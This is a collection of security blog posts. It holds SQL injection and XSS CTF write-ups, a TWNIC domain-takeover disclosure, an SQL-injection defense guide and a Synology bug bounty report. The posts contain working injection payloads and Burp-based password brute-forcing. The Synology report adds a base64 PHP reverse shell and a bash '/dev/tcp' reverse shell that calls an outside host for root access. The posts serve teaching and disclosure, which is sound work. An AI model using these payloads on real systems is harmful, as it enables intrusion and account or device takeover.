直接點選[enter to the dungeon] 他會出現要你輸入帳號和密碼的地方
Tumblr media
第一次使用者直接在空白欄位處輸入你想要的帳號和密碼,選擇Join 通過以後,再打一次帳密,就可以Login囉
Tumblr media
網站就長這個樣子 很像打怪獸。
要一關一關的往上升級才能破關喔 接下來我們就開始吧
SQL INJECTION FireFox-HackBar的用法
你不用真的打在網址列那邊,就可以發生作用囉 以los.eagle-jump.org的第一題為例
1. 先把原來的url複製到loadURL裡面
Tumblr media
2. 在Load URL的網址列後面打:?id=&pw=aaa (所以完整的列表會顯示:http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=&pw=aaa) 接著按Execute或ctrl-X 你會發現他的頁面都沒有變。
Tumblr media
這樣你可以在pw後面一直改成你想要的東西試試看
3.如果我在id的地方改成’1′ ,網頁就會吃進’1’。把數字的部分選起來,旁邊可以再按’+’,值就會繼續往下加下去唷
Tumblr media Tumblr media
很方便吧~ 看完了工具小介紹 就可以回去los.eagle-jump.com試試看囉
SQL INJECTION los.eagle-jump-1-Gremlin-writes up
怪獸第一關
題目:
Tumblr media
解題原理:
解出query,也就是說:讓程式跑到solve(“gremlin) 就破關囉(倒數第二行) 換句話說,id=’{$_GET[id]}‘ and pw=’{$_GET[pw]}‘"這兩個都要對,就可以到solve囉
在做這一題前,有一個小小的題外話。 就是我的環境是使用FireFox,並且下載外掛HackBar唷。
Tumblr media
(可以參考另外一篇FireFox HackBar的用法)
切入正題,來解正題吧select id from prob_gremlin where id=" and pw="
這題蠻簡單的。 採用大家最熟悉的SQL inject語句 ‘OR 1 =1-- 但是這到底是什麼意思呢?
我們把他插進語句當中: select id from prob_gremlin where id=' 'OR 1 =1 --' and pw="
其中,我們仔細看:
id=' 'OR 1 =1 --' id="(空字串) OR(或者) 1=1(這很白話  1等於1) --’ (減減的意思,是註解的意思。也就是說  註解後面的東西,程式不會讀。)
整體來說:id是空字串(False)或者(OR)1等於1(True) True OR False===>在邏輯上,一定是True。所以造成語句的成立。 
最後我們實作看看:
Tumblr media
就看到出現GREMLIN Clear! 過關~
進入第二題~ 補充一下,這題解法不只一種喔
SQL INJECTION los.eagle-jump-2-Cobolt-writes up
解完第一題以後就會發現第二題的框框亮綠燈啦~ Go~
Tumblr media
這一題和第一題一樣,前面也有一些阻擋的措施。 不一樣的地方是:
1. pw=md5('{$_GET[pw]}') ==>他把password的地方用了md5! 2. if($result['id'] == 'admin')==>他的id要等於admin
所以我們來開始吧 我們先用上一題的想法試試看: ‘ or 1=1-- 結果出現:
Hello rubiya You are not admin 
Tumblr media
顆顆。結果很明顯: 你不是admin 但是這代表什麼呢?剛剛的語法代表整個where以後的都無效 所以把整個資料庫都撈出來 hello “rubiya"可能是第一筆的資料
所以我們假設admin是在後面其他筆 所以我們來撈撈看第二筆 註解一下:SQL 撈資料的話我們可以用一個關鍵字:limit (以下三張圖片from: http://www.codedata.com.tw/database/mysql-tutorial-basic-query)
Tumblr media Tumblr media Tumblr media
那我們就來limit看看吧 試試看囉
?id= ' or 1=1 limit 0,1 -- ‘
                             Hello rubiya You are not admin 
?id= ' or 1=1 limit 1,1 -- ‘
                              COBOLT Clear!
哈哈  這樣就解開了
Tumblr media
哈哈  這樣就解開了。
(?id= ' or 1=1 limit 1,1 -- '   ======>會沒有資料顯示)
那我們來試試看別的方法:
如果說我們已經知道他要的id是admin。但是我們不知道密碼。所以決定把密碼之後的東西都註解掉。( HTML對於井號的encoding 是 %23) : # 打進來也可以破關唷
Tumblr media
SQL INJECTION los.eagle-jump-3-goblin-writes up
第三題比較不太一樣
Tumblr media
題目要的是 1.     $_GET[no] ==>Number 2.     id='admin' 
既然要找Number,那我們就用上一題的方法來試試看啦 no=0 時,沒有出現東西 no =1時,出現了guest!
Tumblr media
如果no=2的時候,又沒有東西出現。 那剛剛出現的那一行代表什麼意思呢?? 就是程式已經跑到了倒數第三行(但是沒有繼續倒數第二行):
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
那我們現在再試試看另外一個方法(又要用到邏輯啦) 我們已經知道no=1的時候是有東西的了(True) 如果我們打:
?no=0 or 1=1
一樣會出現Hello guest 表示什麼呢?
no = 0 (False) or 1=1( True)  ==>False or True == True
我們現在已經把前面都弄成True囉 但是admin還是沒有出現啊? 他應該是在no= ?  但是我們不知道?是什麼。目前只知道?=1時有guest。(這是True)
?=2 和 ?=0 時跑不出東西 所以我們要先讓前面的id=’guest’失效。讓程式往下跑到後面,才能出現admin。
來看看這樣:
where id=’guest’ and no=0 or 1=1 and no = 2
一行行來看
where id=’guest’ (True)(因為資料庫裡面有guest的id) and(邏輯運算) no=0 (False)(因為沒有東西) True and False == False 這樣第一個部分就被False掉了
接下來
or(邏輯運算) 1=1 (True) 這樣整體又變成True 然後 no = 2 (True and True = True)
這樣就破關囉~~
Tumblr media
(好一個迂迴)…. 這一段多做幾遍看看囉~
SQL INJECTION los.eagle-jump-4-orc-writes up
前三題是比較基本一點的題型 接下來難度變比較高囉
Tumblr media
這一題的話有兩個地方在跑 第一個:先用語句去查資料庫 @mysql_fetch_array(mysql_query($query)); ,如果有資料就回覆 echo "
Hello admin
然後把密碼加上slash,再丟到資料庫去query。 如果對的話就過關了 (簡單來說,就是密碼對了 你就過關了)
開始來試試看吧 首先我們先把我們可以控制的地方打進去 ?pw=’ or 1 %23  (可以參考前幾題的解法)
把密碼註解掉以後,我們發現他可以出現Hello的字樣
Tumblr media
也就是說,程式已經跑到中間的那行
if($result['id']) echo " Hello admin “;
這邊開始要帶入一個substring的觀念(可以參考這個網站:http://www.1keydata.com/tw/sql/sql-substring.html)
我們剛剛打:?pw=’ or 1 %23  可以跳到Hello那段。 表示說 1是 True。換句話說,我們打?pw=’ or (id=’admin) %23也是可以的。(這邊就不截圖了可以自己嘗試看看)
從這個觀念繼續延伸。因為題目是要我們猜密碼。所以id的部分改成pw做看看。 但是由於我們不知道密碼,所以也不知道應該要怎麼開始…對吧@@"。 但是還是要試試看啊 不然怎麼破關。
這邊又要講到SQL的另外一個語法:like。 like是部分比對的意思。 假設真的密碼是test1234 如果我打 pw like ‘t’  ===>這時候應該就要有True的結果。
所以說,瞎子摸象的來猜密碼囉 我們就先從數字版+英數混合(左上角選擇AlNum)開始吧
Tumblr media
第一個 ?pw=’ or (pw like ‘1%’) %23  沒有東西。
然後選綠色的+  變成pw=’ or (pw like ‘2%’) %23。 哈哈  超級賽的,居然跳出Hello admin。
如果再選+,變成pw=’ or (pw like ‘3%’) %23。又沒有東西。 表示 like 2%是對的。(密碼是2開頭)
然後就是繼續猜啦
pw=’ or (pw like ‘21%’) %23  ==> x pw=’ or (pw like ‘22%’) %23  ==> x
一路跑到
pw=’ or (pw like ‘29%’) %23  ==>v
就這樣一路猜下去吧 最後答案是 295d5844
Tumblr media
最後最後 我們把語句改成 pw=295d5844 過關
Tumblr media
p.s 使用 ?pw=1’ or (id=’admin’ and length(pw)=xxx) %23 其中xxx為密碼長度 等於的地方可以改成大於或小於之類的 就可以先來猜猜看密碼總共有多長
另外 可以使用(id=’admin’ and substring(pw,1,1)=’xxx’) 用substring這個語法來得知說第幾位的密碼應該是多少
ex:
?pw= 1′ or (id=’admin’ and substring(pw,1,1)=’2′) %23
SQL INJECTION los.eagle-jump-5-wolfman-writes up
來到第五關啦 這一關的話,前面條件有過濾"空白"喔
Tumblr media
和上一題一樣,來猜密碼啦 ?pw=’ or 1=1 %23 結果他出現:No whitespace ~_~  (我就說他會過濾空白吧@@")
SQL injection要繞過空白的方法,就是把它變成註解。 我們的Hack Bar裡面就有這個功能喔。
點選上面SQL -> space to inline comment->他自動會幫你註解成這樣:?pw=’/**/or/**/1=1/**/%23
我們再把他送出,就可以繞過第一關囉
Tumblr media
Hello guest(可是還不是admin) 但是至少已經到程式的倒數第三行啦~(已經取了第一筆資料) 接下來就是要把id變成admin囉 直接加再後面 顆顆 就過了 ^^
Tumblr media
  SQL INJECTION, 工具 Burp Suite 使用介紹
其實就是一個代理伺服器 所有流量都經過他再到網路上 這工具是用java寫的。所以要先安裝JRE才能跑唷
Tumblr media
簡單介紹一下各個頁籤 1. Target:我們上網流程中,全部經過哪些站台 比如說我們來實驗一下: a. 我們先用firefox的外掛FoxyProxy,設定自己本基為代理伺服器”localhost:8080”(先於選項呢 設定localhost:8080) b. 設定好以後,Burp Suite的proxy就會亮
Tumblr media
c. Proxy這個頁籤裡面就是有你有那些參數那些封包等等
Tumblr media
d. 不要的話就把他先暫停掉,history裡面會有結果
Tumblr media
e. Target就會有站台的assignment。
Tumblr media
2. 如果想要對以前送過的封包做修改的話,就點proxy->http history->網址點選右鍵->send to repeater。封包就會送到repeater那邊給你自由修改啦 a. 點進去repeater裡面,左邊是可以讓你修改的。 b. 改好以後按一下go c. 右邊就是他的response
Tumblr media
(右邊旁邊的HTML也可以看到網頁被修改完的樣式唷)
3.Spider的話就是把你站內的站臺都去爬一次。打開來的話,會發出很大量的packet喔 4.Scanner 又可以分成主動和被動式的掃描 5. Intruder 去挖掘未知的漏洞。從剛剛Proxy裡面,按右鍵 send to intruder
Tumblr media
按positions 的地方可以選擇你的attack type,或是去payloads的地方選你的payload。(simple list字典檔、大小寫、暴力破解、插入無效字元等等)
6.sequencer是用來算id使用的。比較少用到。 7.decoder是用來作文字的編碼和解碼。 8.comparer是把封包丟進去。可以來做前後改變的比較。
 SQL INJECTION, 工具 los.eagle-jump-4-orc_用Burp Suite解決
第四題的第二種解法–使用Burp Suite來自動破解密碼
1. 先將FireFox 設定localhost:8080(配合Burp Suite 使用) 用前一篇的狀況來接續。(因為這一篇是要講Burp Suite來破解密碼)
Tumblr media
我們開Burp Suite來看封包的狀況
Tumblr media
可以看到裡面有藍色的pw和紅色一串字。
pw=%20%27%20or%20(id=%27admin%27%20and%20substring(pw,1,1)=%272%27)%20%23
這是什麼呢 顆顆 先回到target->site map 裡面->los.eagle-jump.org->右鍵->send to intruder
Tumblr media
點選intruder的頁籤->positions->attack type 選擇pitchfork(針對有效負仔變數逐一測試)
Tumblr media
在我們想要改變數的地方,前後加上$(可以按右邊的按鈕)
pw=%20%27%20or%20(id=%27admin%27%20and%20substring(pw,§1§,1)=%27§2§%27)%20%23
然後我們到payloads的頁籤去調整參數
1.設定第一個payload(密碼長度)
payload set = 1 payload type = Numbers(只會有阿拉伯數字)
我們已經知道有8位數,所以range 設定from 1 to 8,step 1(每個位子相隔一個)
Tumblr media
2.設定第二個payload(設定密碼)
payload set = 2
payload type = brute forcer(密碼只會有英文數字和阿拉伯數字)
這時候就會看到��面的character set列出全部的英文字母a-z和數字0-9的清單
因為我們是要字元,所以位數最短是1,最長也是1
Tumblr media
準備好囉
start attack 他就會跳出另外一個視窗 (因為是free edition,跑得有點慢  要等一下) 最後跑出了288種結果,結果那麼多,怎麼知道正確解釋哪一組呢?
Tumblr media
我們回到los.eagle-jump的頁面
我們來檢視兩種情況:正確和不正確的(出現hello admin 和沒有的)(分別送出兩種結果的封包) (可以用?pw= ‘ or (id=’admin’ and substring(pw,1,1)=’2′) %23和?pw= ‘ or (id=’admin’ and substring(pw,2,1)=’2′) %23 來測試) 然後把封包結果送出去comparer(選取兩個後按右鍵->send to comparer responses)
Tumblr media
就會出現兩個結果。我們按右下角的words來做比較 可以藉由顏色的標註來發現哪裡不一樣:content-length不同
(因為正確的封包多了hello admin)
Tumblr media
所以我們就知道正確和錯誤的差異點,是在長度 
針對length來排列 發現有八個的長度是5251,其他都是5231(剛好就是我們的八位數密碼嗎?) (按右鍵來highlight一下) filter-> 勾選only show highlighted items) 我們看payload2(因為paylaod1 是排序) 出現295d5844
Tumblr media
破關的方法很多種~ 找到適合自己的那種~就是最佳解答
SQL INJECTION los.eagle-jump-6-darkelf-writes up
第六題~
Tumblr media
先看看前面有過濾什麼。 在第二個if的地方:
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
他把and和or都過濾掉了。 所以等等如果有要用到這樣字元的話,我們要改成 && 和 || 來表示。 從前面幾題學到,有一個小小的起手勢:
?pw= ‘ or  1 %23 or 不能用,我們改成 ?pw= ‘ || 1 %23
結果跑出: Hello guest
至少可以控制一個情況會出現 True了 而且程式已經跑到倒數第三行了
接下來呢,他是要id=’admin’,才會solve。 ?pw= ' || 1 && id='admin' %23 這邊&&要用URLencode ?pw= ' || 1 %26%26 id='admin' %23
這樣就破關了
Tumblr media
補充一下,為什麼要把&&做urlencode呢
因為在PHP裡面,&後面接的是變數或變量。如果沒有用endoe的話,語句裡面會判定他後面接的是變量,變成參數傳遞。這和and的意思是完全不一樣的。
為了不要讓這種事情發生,就需要先用encode的方式,讓語句不會斷掉。
SQL INJECTION los.eagle-jump-7-orge-writes up
這題會使用前幾題用過的Burp Suite來解
Tumblr media
參照前不知道幾題的做法
先把前面都註解掉。他要找id=admin的就給他下條件 至於密碼長度和密碼位元嘛,就先打一下。等等是要用Burp Suite,最後這些都會變成可以改的變數。
?pw=’ || (id=’admin’ %26%26 substring(id,1,1)=’a’) %23
 打開Burp Suite吧 找到剛剛的封包,丟到intruder裡面
Tumblr media
先clear所有$,再把長度和要猜的字元變成變數:
選擇cluster bomb
Tumblr media
payloads第一個變數組態設定如下(可以參考前幾題怎麼設定)
payload set :1 payload type: Numbers From: 1 to: 9 step:1
第二個變數組態設定如下:
payload set:2 payload type Brute forcer min length:1 max length:1
 start attack!!
跟前幾題一樣。看長度的變化(這樣打會不會太偷懶啊…>"<)
最後排序一下 密碼為6c864dec 打進去 ?pw=6c864dec
Tumblr media
破關
0 notes
hitcon-kb · 8 years ago
Text
台灣網路資訊中心域名管理關鍵 key 共用漏洞
HITCON KB 現金獎勵計畫 作者:Leo Sheu
某天逛facebook突然發現有個「中文化電子郵件信箱體驗活動」,只要動動手指就可以體驗看起來很狂的中文信箱地址,而且還附贈該中文網域名稱一年,就趕緊就來申請囉。
Tumblr media
在經過很多步驟和教學後,終於拿到了成功獲得域名通知信,信中給了個連結可以設定管理網域的判別密碼。
Tumblr media
可以看到設定判別密碼的網址帶了兩個參數key及dn,key是一串亂碼,而dn則是個人中文網域名稱(灰色方塊部分)。
->透過此網址可重複修改密碼
Tumblr media
接著就收到一封邀請好友的信件,點擊信中連結輸入好友Gmail信箱,成功推廣可以有抽獎點數。
Tumblr media
但點進去推廣頁面,看了網址所帶的參數覺得怎麼有種似曾相識的感覺?
Tumblr media
推廣頁面和設定密碼的頁面所使用的key竟然是同一把!
如果任何人知道你的中文網域名稱及邀請頁面連結,代入KEY及網域名稱到設定密碼頁面,即可修改他人的判別密碼。
https://rs.twnic.net.tw/cgi-bin/eai/chgpass.cgi?key= (KEY) &dn= (網域名稱).台灣
Tumblr media
用修改後的密碼登入就可以取得原域名擁有者的所有權限,可以更改DNS設定、查看或修改個人資料等等。
Tumblr media
如果你公布了你的網域名稱,順便附上信中的推廣連結,等於是告訴人:來吧,可以幫我改密碼喔。
Tumblr media
為了避免關鍵key外流,我推廣好友自己打Gmail信箱總安全了吧,這樣想就大錯特錯了!
就算自己打信箱推廣,被推廣好友所收到確認信所含連結也有那把可以重設密碼的key(右下黃色區塊)。總之,如果要推廣好友,絕對不能把我的網域名稱告訴他人,不然他就能幫忙改密碼並接管自己的個人網域了。
->同一人所發出邀請key皆相同,參數rec不同被推廣者皆不相同。
Tumblr media
之後把情況詳情回報給台灣網路資訊中心,當天幾小時後重設密碼的頁面就自動跳轉到https://rs.twnic.net.tw/cgi-bin/eai/chgpass.cgi 乾淨的網址,改成用Form Data的形式送出key & dn,本來想說這根本只是把漏洞變得比較不明顯,資料送出的形式改變而已,問題根本沒有修復阿。
幸好隔天重設密碼的流程就換了,改成只回傳一個<script> alert,提示至信箱確認變更密碼連結,他人就不再能簡單取得個人網域權限了,當天的修改貌似只是不想���更多人能一眼就發現並使用這個漏洞。
Tumblr media
設定密碼的頁面所使用的key (灰色部分)終於不是那組連推廣都共用的那把了。
Tumblr media
查了一下此活動開始也有一段時間了,不過看起來還沒有人發現。為了避免更多資料外洩,當天即送出了問題回報,他們也非常快速的解決了問題,在隔天即修復完成。除了讓人佩服工程師的努力外,正面面對漏洞修補的態度也值得讚賞。
這個問題的根本原因就是重設密碼所用的token也被其他服務所使用,而該推廣中文域名活動的服務剛好會讓token流出給第三者,而讓外人可以輕易取得域名管理權限。其實只要多留意並不難發現這個漏洞,但它還是存在了幾個禮拜的時間,這也說明了網路上並不是沒有漏洞,而是缺少發現。身為使用者可以多仔細觀察,協助政府或企業發現問題。而開發者則要注意並不是使用亂數當token就安全,也要注意在設定密碼這種比較敏感的服務和其他一般服務所使用的token必須要有所區隔。
時間:
2017/3/30:漏洞詳情回報給財團法人台灣網路資訊中心 2017/3/31:修復了此漏洞
0 notes
hitcon-kb · 8 years ago
Text
站在企業的角度如何”避免” SQL Injection 所帶來的危害
作者:subin
從企業的角度來看,有許多面向可以減少 SQL injection 所帶來的危害,:
在軟體開發流程,可以訂定相關的標準,例如在老生常談的資料型別檢核之外,規定 SQL statements 需使用 prepared statement,然後用 source code scan 工具或人工 code review 來協助,並且在教育訓練推廣,也可以由 IT 稽核勾稽。
實務上會遇到一些別的問題,例如既有程式碼需要時間修改,技術限制造成部分程式碼無法做到 prepared statement、委外開發或客製化、使用開源軟體或採購現成軟體沒有原始碼,或是經由併購別的公司引進了更多並非照標準的程式等等。
例外的部分,如果有共用的程式庫,經過審核修正,可以當核可使用的程式庫, 委外開發或客製化時,可以要求廠商遵守相關標準,並且寫到合約裡面。 使用開源軟體的話,建議就其授權條款的部份以及資安的部份要有所評估,例如如果要用 wordpress 的話,可以就其資安,包括 SQL injection 的部分評估一下。 採購軟體的話,在評估階段可以試著跟原廠確認一些資安問題如 SQL injection 的處理方式, 沒有辦法確認有力人士又要買的話,可以考慮從黑箱的方式測試(也許用 sqlmap之類的工具),並考慮導入 web application firewall 或者靠 IDS/IPS,但可能會面對 bypass 的問題[^1]、false positive 問題等等。 另外,作業系統的強化(hardening),資料庫的帳號的權限最小化,資料庫中,程式使用的帳號權限也可以分割最小化,只碰觸的到該碰的到的 databases/tables/views,也可以減少 SQL injection 發生時的問題。
企業可以做個資盤點,然後訂出資料分類處理政策,比較高等級的資料可以要求儲存加密,這樣在一般的狀況下,SQL injection 時的損害可以縮小。 
比較敏感的系統,可以作滲透測試,減少別的問題讓系統破功的機會。
還有,從 logs 或 security events 也有機會偵測可能的 SQL injection 攻擊,然後做進一步的確認跟處理[^2]。
從維運端看,有時候資料庫軟體會出補丁或是安全更新,也必須要及時評估,有的資料庫因為24x7 運行,要上補丁要協調時間麻煩,但必要的安全性更新要排除困難儘速安排時間上。
光是這些還是有可能有漏失,還有一些其他的流程可以來互補,例如可以導入 bug bounty 方案,能給獎金是最好,經費少或是沒有經費可以考慮送公司自己的產品,或是有個網頁寫感謝詞。 不作 bug bounty,也要讓人在頁面上找得到通報資安問題的管道。
如果發生 SQL injection 事件,並涉及個資,在資安事件處理過程中,要找法務與公關部門參與,並要求人員非經許可不可對外發言,沒有公關人員陪同不可接受採訪,以免被記者誤導或是斷章取義。
最後,如果高層願意支持,可以做一些資安認證,如果經費許可,建議贊助一些資安相關的年會以及學會,展現良好的資安態度。
[^1]: https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge–Lessons-Learned/ [^2]: http://blogs.splunk.com/2013/05/15/sql-injection/ (此處只是舉例,利益申報:執筆時,筆者或相關人士,並沒有持有該公司股票或為該公司或代理商工作。)
0 notes
hitcon-kb · 8 years ago
Text
XSS Challenges
作者: ShuJui(Susie) 來源: tw-shawn.com
XSS Challenges-簡介和#1 writes up
今天要來介紹一個網站:
http://xss-quiz.int21h.jp/
這網站也是破關的網站,是現在蠻常見的練功房。他要答對一題以後,才能進下一關。
遇到這種練習的時候,有時候會先測試看看網站可以接受的狀況。
例如,在search裡面打:
aaa’bbb"ccc>ddd<eee
把各種符號用abcde來檢測看看。
這樣打完以後,會發現result裡面的eee已經不見了
Tumblr media
怎麼回事呢
按右鍵檢測網頁原始碼,search for “aaa"
Tumblr media
欸斗…字有點小
放大看看
<b>"aaa'bbb"ccc>ddd<eee"</b><hr class='red'>
eee跟後面已經和在一起不見了
 所以這時候我們就可以直接用
alert(document.domain);
包起來
出現下面的畫面:
Tumblr media
就可以成功囉
左下角會出現這樣的圖示
進入下一關
 XSS Chanllenges stage #2 writes up
按照起手勢打: aaa’bbb"ccc<ddd>eee
結果發現只剩下
aaa’bbb
代表雙引號出現了事情
看網頁原始碼
<input type="text" name="p1" size="50" value="aaa'bbb"ccc>ddd<eee">
 表示在ccc以前都變成一組的了
如果我們要插入東西,就要把前面先close掉
於是乎
我們用">把前面的語句先結束,再接我們的東西
">alert(document.domain)<"
 XSS Chanllenges stage #3 writes up
一樣aaa’bbb"ccc>ddd<eee
結果都存在!!
這是有點危險的喔
因為可能做過html的轉換
所以看看原始碼:
<b>"aaa&#039;bbb&quot;ccc&gt;ddd&lt;eee"</b>
 果然真的耶
這樣就沒有XSS的行為發生
呵呵
這時候又要用到Burp Suite啦
結果發現他送的結果,除了aaabbbccc之外,還多送一個Japan(最後一行)
Tumblr media
點選Parms(就是Parameters的縮寫,會顯示參數,主要為GET,POST的訊息)
Tumblr media
又再一次確認說參數裡面有把Japan送出去
為了要改這個啊,把Proxy->intercept->on
重新回到測試題庫頁面。這次不要輸入東西,直接送出
Tumblr media
在Raw裡面的最下面一行,會出現
p1=+%22aaa%27bbb%22ccc%3Eddd%3Ceee%22&p2=Japan
這時候把Japan換成aaa'bbb"ccc>ddd<eee
Tumblr media
再把intercept off
 這時候會發現頁面已經吃進參數了
Tumblr media
回到Burp Suite看Response
Tumblr media
特寫一下:
Tumblr media
第一個紅框是剛剛吃進去的
第二個紅框是我們用Burp suite改的第二個參數
很明顯的 第二個框框裡面沒有被改編碼
仔細看,到小於之前都還存在。
再用一次Burp Suite
改後面的參數
p1=%22aaa%27bbb%22ccc%3Eddd%3Ceee&p2=alert(document.domain);
Tumblr media
就過囉
XSS Chanllenges stage #4 writes up
長得跟第三題蠻像的
起手勢:aaa’bbb"ccc>ddd<eee
結果又是回傳完整的句子
We couldn’t find any places called “aaa’bbb"ccc>ddd<eee" in Japan.
我們再打開Burp Suite看一下剛剛傳送的情形:
結果發現這題回傳有三個參數:
p1=&p2=Japan&p3=hackme
比對網頁上的狀況,沒有p3=hackme的輸入的地方,表示是hidden input。
那就不客氣囉直接在p3加語句
p1=aaa%27bbb%22ccc%3Eddd%3Ceee&p2=Japan&p3=alert(document.domain);
Tumblr media
因為插的位子是在input裡面
所以少一個雙引號和大於(“>)
 回到Burp Suite再一次
就有囉
Tumblr media
XSS Chanllenges stage #5 writes up
第五題
突然想到前幾題都忘記提供超連結。連結如下:
http://xss-quiz.int21h.jp/stage–5.php
 這一題呢,什麼也沒有
Tumblr media
看起來蠻有挑戰的(假的假的  不要怕)
我們還是開個Burp Suite吧
先在search裡面打aaa’bbb"ccc>ddd<eee看看
結果發現一段蠻特別的結果:
Tumblr media
中間的"ccc>斷掉了。
ddd好像又和之後不知道什麼東西接上了。
不要怕
檢視網頁原始碼看看
Tumblr media
雖然前面有maxlength="15″可是看起來好像也沒有什麼影響。
只是還是老問題 input裡面先結束掉。(用  “>  )
一樣,
用Burp Suite在p1參數的地方打
“> alert(document.domain);
按送出
就可以過關囉
Tumblr media
目前Susie這邊只有將詳解寫到第五題.陸陸續續會繼續更新上傳.
可以到Susie的部落格看看:tw-shawn.com
0 notes
hitcon-kb · 8 years ago
Text
Synology Bug Bounty Report
Original Post: https://bamboofox.github.io/2017/03/20/Synology-Bug-Bounty-2016/
Author: BambooFox Team ( Henry, jpeanut, ding, leepupu, Angelboy, boik, adr, Mango King, Bletchley )
Last year ( 2016 ) , we BambooFox were invited to join the Synology Bug Bounty program. After about 2 months of hacking, we discovered several vulnerabilities, including a remote root code execution vulnerability. Synology engineers response and fix the vulnerabilities in a very short time, which shows they pay a lot of attention to security issues.
And now ( in 2017 ) , we are allowed to publish the vulnerabilities:
Vul-01 PhotoStation Login without password
Vul-02 PhotoStation Remote Code Execution
Vul-03 Read-Write Arbitrary Files
Vul-04 Privilege Escalation
Vul-05 DoS via Blocking IP
Vul-06 Local File Inclusion
Vul-01: PhotoStation Login without password
We mostly focus on PhotoStation, which is the picture management system enabled in most Synology DSM ( DiskStation Manager ).
The first vulnerability allowed us to login as admin without entering the password.
PoC1:
GET //photo/login.php?usr=admin&sid=xxx&SynoToken=/bin/true HTTP/1.1 Host: bamboofox.hopto.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Forwarded-For: | Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show Connection: close
The key points are the | character in the X-Forwarded-For field and /bin/true in the get parameter SynoToken. The server site CGI will concatenate the strings in usr, X-Forwarded-For and SynoToken into a command and execute the command, and the special characters | and > aren’t filtered out correctly, which will lead to the command injection vulnerability.
Therefore in our PoC1, the command will become:
/usr/syno/bin/synophoto_dsm_user username | /bin/true
The command will return 0 (True) and thus bypass the authentication.
Result: Adversary can login as admin without password
Adversary can also login as admin by the following PoC:
GET /photo/photo_login.php ?action=login&username=admin&password=%26
The source code that handle the user authentication are in photo_login.php:
$retval = csSYNOPhotoMisc::ExecCmd('/usr/syno/bin/synophoto_dsm_user', array('--auth', $user, $pass), false, $result);
Once the $pass variable is &, the command will be executed in the background and always return 0 (true), thus the adversary can login as admin.
Vul-02: PhotoStation Remote Code Execution
After we successfully login as admin via the command injection vulnerability, we extended the attack surface to attempt remote code execution.
PoC2: 1 . Encode the command into base64 format base64encode( $sock=fsockopen("......",8080);exec("/bin/sh -i <&3 >&3 2>&3"); ) => JHNvY2s9ZnNvY2tvcGVuKCIzNi4yMzEuNjguMjE1Iiw4MDgwKTtleGVjKCIvYmluL3NoIC1pIDwmMyA+JjMgMj4mMyIpOw== 2 . Send the payload GET //photo/login.php?usr=|&sid=php&SynoToken=eval%28base64_decode%28%22JHNvY2s9ZnNvY2tvcGVuKCIzNi4yMzEuNjguMjE1Iiw4MDgwKTtleGVjKCIvYmluL3NoIC1pIDwmMyA%2bJjMgMj4mMyIpOw%3D%3D%22%29%29%3B HTTP/1.1 Host: bamboofox.hopto.org User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Forwarded-For: -r Cookie: stay_login=0; language=en; PHPSESSID=ime6mqrg0pghbjo4p9aomqcbv0; left-panel-visibility=show Connection: close
We adopted a similar approach (PoC1) in order to achieve RCE. We then took a deep look into the source code of PhotoStation, and found the following code:
if ($x_forward) { $ip = $x_forward; } // ... $retval = csSYNOPhotoMisc::ExecCmd('/usr/syno/bin/synophoto_dsm_user', array('--current', $user, $session_id, $ip, $synotoken), false, $isValidUser); if ($retval === 0) { $login_status = true; } else { // login failed }
In this code snippet, $user, $ip and $synotoken can be easily controlled by crafting the HTTP headers, and that’s the original cause of the command injection vulnerability. Our first few attempts failed due to the site filtered out some special characters. However, we noticed that the site did not filtered out all the special characters. Here’s the code that indicated the non-filtered characters:
static $skipEscape = array('>', '<', '|', '&');
As a result of the code above, >, <, | and & can be used to achieve command injection.
Vul-03: Read-Write Arbitrary Files
After we got the shell, we continued to find security flaws in the DSM. The binary program synophoto_dsm_user got our attention. This binary is a setuid program, and has a powerful copy function. With the --copy root parameter, it will do the cp command and copy a file with the root permission. This make us have the ability to read/write an arbitrary file .
Vul-04: Privilege Escalation
With the previous Vul-02 ( RCE ) and Vul-03 ( Read-Write Arbitrary Files ), we can exploit the vulnerability and escalate our privilege to root. We first tried modify the /etc/crontab file, but failed due to the AppArmor protection. So we change our target to the file that will be invoked by crontab. Finally we found /tmp/synoschedtask, a task which will be invoked by crontab as root. We use synophoto_dsm_user to modify its file content to the following command:
/volume1/photo/bash -c '/volume1/photo/bash -i >& /dev/tcp/x.x.x.x/yyyyy 0>&1'
Now we can wait for our reverse shell, with the root permission.
Also by exploiting Vul-02 and Vul-03, we’re able to login the service as admin. If the admin is logged in, we can use the following command to get the admin’s session ID:
usr/syno/bin/synophoto_dsm_user --copy root /usr/syno/etc/private/session/current.users /volume1/photo/current.users
Although the server side will check the admin’s IP address, but the check can be bypassed easily by forging the X-Forwarded-For header.
Login as admin give us the ability to execute command with the root permission. For example, we can execute our own command as root with the help of Task Scheduler. This result in a privilege escalation as well.
Vul-05: DoS via Blocking IP
We also found some other security flaws. If a user sends too many requests to forget_passwd.cgi, the user will be blocked by his IP, which is retrieved from the X-Forwarded-For header. However, X-Forwarded-For can be easily forged from the client side, therefore an attacker can block as many users as he wants by forging the X-Forwarded-For header, leading a DoS attack.
Vul-06: Local File Inclusion
There’s a LFI (Local File Inclusion) vulnerability in download.php. The id parameter is controllable.
For example, we can use ../../../../../../var/services/homes/[username]/.gitconfig to download a user’s git config file.
Timeline
2016/07/25 Report vulnerabilities to Synology
2016/09/01 Confirm that all vulnerabilities have already been fixed by Synology
2017/03/13 Confirm that we’re allowed to publish the bug bounty report
2017/03/20 Synology Bug Bounty Report published
Note
Some of the vulnerabilities have already been discovered by Lucas Leong from Trend Micro ( link )
0 notes
hitcon-kb · 8 years ago
Text
iT邦幫忙會員中心CSRF漏洞
作者: Honc 
